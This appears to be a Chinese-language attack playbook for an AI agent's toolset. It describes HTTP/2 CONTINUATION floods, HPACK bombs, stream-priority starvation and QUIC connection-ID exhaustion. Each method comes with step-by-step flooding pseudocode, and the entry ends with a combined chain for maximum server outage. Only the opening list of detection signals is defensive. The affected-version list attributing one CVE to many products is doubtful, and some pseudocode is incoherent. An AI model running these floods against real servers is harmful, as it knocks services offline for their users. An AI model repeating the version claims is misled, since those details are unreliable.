HTTP/2 CONTINUATION Flood & H2/H3 高级攻击
场景
HTTP/2 的多路复用和帧协议为攻击者提供了远超 HTTP/1.1 的攻击面。除 Rapid Reset (CVE-2023-44487) 外,CONTINUATION Flood (CVE-2024-27316) 和 HPACK Bomb 利用更底层的帧处理和头部压缩机制,单连接即可使服务器 OOM 或 CPU 100%。
输入信号
- 单连接上出现大量
HEADERS帧后跟CONTINUATION但无END_HEADERS标志 - HTTP/2 连接中 stream 状态一半以上处于
OPEN或HALF_CLOSED(等待头部完成) - 服务器内存持续增长,
nginx/envoy/httpd进程 RSS 线性上升直至 OOM netstat -s显示 TCP 连接重置率异常低但活跃连接数异常高 (stream 占满但不提交)- HTTP/2 帧日志中
HEADERS与CONTINUATION比例异常 (> 1:3) - 单个 HTTP/2 连接持有 10 万+ 未关闭 stream (正常情况下 < 1000)
- WAF/CDN 日志中出现大量
RST_STREAM与HEADERS交替模式 - HPACK 动态表引用索引集中在极小区间 (1-20),说明大量头部复用填充值
方法 1: CONTINUATION Flood (CVE-2024-27316)
原理
HTTP/2 的 HEADERS 帧如果放不下所有头部,可以用 CONTINUATION 帧续传。漏洞核心:服务端在收到带有 END_HEADERS 标志的帧之前,将收到的所有头部缓存在内存中。
正常流程:
HEADERS(frame_1, END_HEADERS=0) → 缓存头部
CONTINUATION(frame_2, END_HEADERS=0) → 追加缓存
CONTINUATION(frame_3, END_HEADERS=1) → 解析完成
攻击流程:
HEADERS(frame_1, END_HEADERS=0) → 开始缓存
[永不发送 END_HEADERS]
[持续发送 CONTINUATION + reset stream, 再开新 stream]
→ 每个未完成的 HEADERS 占用内存
→ 海量 stream 同时挂起
→ OOM关键参数
单 stream 未完成头部最大体积: 无限制 (漏洞)
可同时挂起 stream 数: 2^31 - 1
每 HEADERS+CONTINUATION 字节: ~50 bytes (最小帧)
攻击者带宽 10 Mbps → 每秒约 25000 个挂起的头部流
1 分钟后 → 1,500,000 个挂起 stream
每个 stream 缓存 64KB → 96 GB 内存伪代码
function h2_continuation_flood(target_host, target_port=443, duration_sec=60):
# 建立 h2 连接
conn = h2_connect(target_host, target_port)
# 初始化连接
conn.send_preface()
conn.send_settings()
deadline = now() + duration_sec
stream_count = 0
while now() < deadline:
# 每个循环创建一批挂起的 stream
for batch in 1..1000:
sid = conn.new_stream_id()
# 发送 HEADERS 帧,END_HEADERS=0
headers_frame = build_headers_frame(
stream_id=sid,
end_stream=False,
end_headers=False, # 关键: 永远不置位
payload=":method: GET\r\n:path: /\r\n:authority: " +
target_host + "\r\n" +
"x-padding: " + "A" * 4096 # 加大头部体积
)
conn.send_frame(headers_frame)
# 可选: 发送 CONTINUATION 但不结束
# continuation = build_continuation_frame(sid, END_HEADERS=0, data="B"*1024)
# conn.send_frame(continuation)
stream_count += 1
# 消费服务器响应,避免自己连接断开
conn.drain_receive_buffer()
if stream_count % 10000 == 0:
elapsed = now() - (deadline - duration_sec)
print("[*] {stream_count} streams pending, {stream_count/elapsed:.0f} streams/s")
return stream_count受影响范围
受影响 (CVE-2024-27316):
- nginx < 1.26.0 (挂起 stream 内存泄漏)
- Apache httpd < 2.4.60 (worker 内存持续增长)
- Envoy < 1.29.3 (OOM 崩溃)
- Node.js < 21.6.2 (event loop 阻塞)
- Go net/http < 1.22.1 (goroutine 泄漏)
- Apache Tomcat < 10.1.20
- Jetty < 12.0.8
- Netty < 4.1.108
与 CVE-2023-44487 (Rapid Reset) 对比:
Rapid Reset: 打 CPU (创建/销毁流的高速循环)
CONTINUATION: 打内存 (挂起流 + 累积头部缓存)
两者组合: CPU + 内存同时打满 → 更快 OOM方法 2: HPACK Bomb — 头部压缩放大
原理
HTTP/2 使用 HPACK 压缩头部。攻击者利用动态表 (dynamic table) 的引用机制,构造精心设计的头部使解压器分配大量内存。
HPACK 动态表:
- 最大 4096 或 65536 bytes (SETTINGS_HEADER_TABLE_SIZE)
- 新头部插入表头,旧的从表尾移除
- 引用通过索引 (1-indexed)
攻击向量:
1. 发送大量大尺寸头部填充动态表
2. 后续帧用 1-2 bytes 引用这些大头部
3. 服务端解压器被迫为每个引用扩展出完整值
4. 单帧可"解压"出数十 MB 头部数据伪代码
function hpack_bomb(target, table_size=65536, bomb_mb=500):
conn = h2_connect(target)
# Step 1: 用大头部填充动态表
large_header_value = "A" * 4096 # 4KB per entry
for i in 0 .. (table_size / 4096):
# 插入 header: x-fill-{i}: AAAA...
# 这使动态表填满并驱逐旧条目
headers_frame = build_headers_frame(
stream_id=conn.new_stream_id(),
end_stream=True,
end_headers=True,
headers=[("x-fill-" + str(i), large_header_value)]
)
conn.send_frame(headers_frame)
# Step 2: 发送引用型炸弹
# 构造 HEADERS 帧,使用大量索引引用填充的动态表条目
# 每个引用 1-2 bytes,但解压展开后 4KB
bomb_streams = bomb_mb * 256 # 每个 stream 约 4KB 展开
for i in 0 .. bomb_streams:
# 使用 HPACK 索引引用来引用已填充的大头部
bomb_header = build_hpack_indexed_header(
table_index=1 + (i % 16), # 引用动态表中的条目
)
# 发送 HEADERS 帧,内部填充大量索引引用
# 解压后头部体积 >> 帧体积
frame = build_headers_frame(
sid=conn.new_stream_id(),
end_stream=True,
end_headers=True,
hpack_literal=bomb_header
)
conn.send_frame(frame)方法 3: Stream Multiplexing 饥饿
原理
HTTP/2 的 stream 优先级机制可被滥用。通过创建大量高优先级 stream 并永不完成,饿死合法请求的 stream。
正常:
stream A (weight 16) + stream B (weight 16) → 各 50% 带宽
攻击:
stream 1..1000 (weight 256, 每个持续 HOLD)
stream 1001 (正常请求, weight 16)
→ 正常请求分到的带宽 = 16 / (1000*256 + 16) ≈ 0.006%
→ 一个 10KB 的响应需要数分钟才能传输完伪代码
function stream_priority_starvation(target, hold_count=5000):
conn = h2_connect(target)
# 创建大量高优先级挂起 stream
hold_streams = []
for i in 0 .. hold_count:
sid = conn.new_stream_id()
# 发送 HEADERS,声明优先级 weight=256, 依赖 stream 0
headers = build_priority_headers(
sid=sid,
exclusive=False,
stream_dependency=0,
weight=256 # 最大权重
)
# END_STREAM=0, END_HEADERS=1
# 头部已完整,但永不关闭 stream
frame = build_headers_frame(sid, end_stream=False,
end_headers=True,
headers=headers,
body_continuation="pending")
conn.send_frame(frame)
hold_streams.append(sid)
# 每 30 秒发 WINDOW_UPDATE 维持连接
while True:
sleep(30)
for sid in hold_streams[::100]: # 采样续命
conn.send_frame(build_window_update(sid, 1))
conn.drain_receive_buffer()方法 4: HTTP/3 QUIC 攻击面
HTTP/3 基于 QUIC (UDP),引入了新的 DoS 向量:
1. Connection ID 耗尽:
QUIC 使用 Connection ID 路由连接
服务器维持 CID → connection 的映射表
攻击者发送大量含随机 CID 的 Initial 包
→ 服务器为每个 CID 分配状态 → 映射表耗尽
2. 0-RTT 重放放大:
攻击者捕获合法 ClientHello,重放 N 次
服务器为每个 0-RTT 分配连接资源
每个重放还可包含 HTTP 请求
乘数: 1 个 ClientHello → N 个并发连接
3. Version Negotiation 风暴:
攻击者发送含随机版本号的 Initial 包
服务器回复 Version Negotiation (比 Initial 大)
放大系数: 1x (Initial ≈ VN 大小)
但大量 VN 仍可填充上行链路
4. Stateless Reset 消耗:
服务器 CPU 在生成 stateless reset token 时的计算
大量无效连接 → token 生成 + HMAC 计算QUIC CID 耗尽伪代码
function quic_cid_exhaust(target, cid_count=1000000):
# QUIC Initial 包构造
for i in 0 .. cid_count:
# 随机 Destination Connection ID
dcid = random_bytes(random_choice([8, 16, 20]))
scid = random_bytes(8)
# QUIC Initial 包 (long header)
packet = build_quic_initial(
dcid=dcid,
scid=scid,
token=b"", # 无 token
crypto_data=build_tls_client_hello(sni=target)
)
udp_send(target, 443, packet)
if i % 10000 == 0:
print("[*] {i} random CIDs sent")攻击链混合方案
组合攻击 (最佳效果):
Step 1: HTTP/2 Rapid Reset → CPU 100%
Step 2: CONTINUATION Flood → 内存泄漏 1GB+/min
Step 3: HPACK Bomb → 解压器内存放大
Step 4: Stream Priority Starvation → 剩余请求停滞
效果: CPU/内存/带宽 三维打满,恢复时间数倍于单一攻击参考资料
- CVE-2024-27316 — HTTP/2 CONTINUATION Flood (2024.04, CVSS 7.5)
- CVE-2023-44487 — HTTP/2 Rapid Reset (2023.10, CVSS 7.5)
- RFC 9113 — HTTP/2 (Stream Multiplexing, Frame Format)
- RFC 7541 — HPACK: Header Compression for HTTP/2
- "CONTINUATION frames in HTTP/2 can be abused for DoS attacks" — Cloudflare Blog, 2024
- nginx 1.26.0 changelog — HTTP/2 CONTINUATION flood mitigation
- "HTTP/2: The Sequel is Always Worse" — James Kettle, Black Hat 2021
- RFC 9000 — QUIC: A UDP-Based Multiplexed and Secure Transport
- CVE-2022-32293 — TCP Middlebox Reflection (AWS NLB)
- Envoy 1.29.3 changelog — CONTINUATION flood fix
MCP 工具映射
| 步骤 | 工具 | 说明 |
|---|---|---|
| H2 端点探测 | http_probe | 检测目标是否支持 HTTP/2 (ALPN h2) |
| 技术搜索 | kb_router | 搜索 http2 / h2 / continuation / rapid_reset |
| CVE 查阅 | kb_read_file | 读取本文件及 01-application-layer-dos (Rapid Reset) |
Evidence
- 保存 baseline 与单变量 probe 的完整请求、响应状态、关键响应头和正文摘要。
- 将“响应差异”与服务端副作用分开记录;只有权限、状态、数据或 Flag 可重复变化才算确认。
- 固定 session、输入、并发参数和时间窗口重放,记录成功响应、失败样本和下一跳。
- 输出统一放入
exports/ctf-website/<case>/,凭据只用REDACTED占位,自动检索flag{}、CTF{}、DASCTF{}。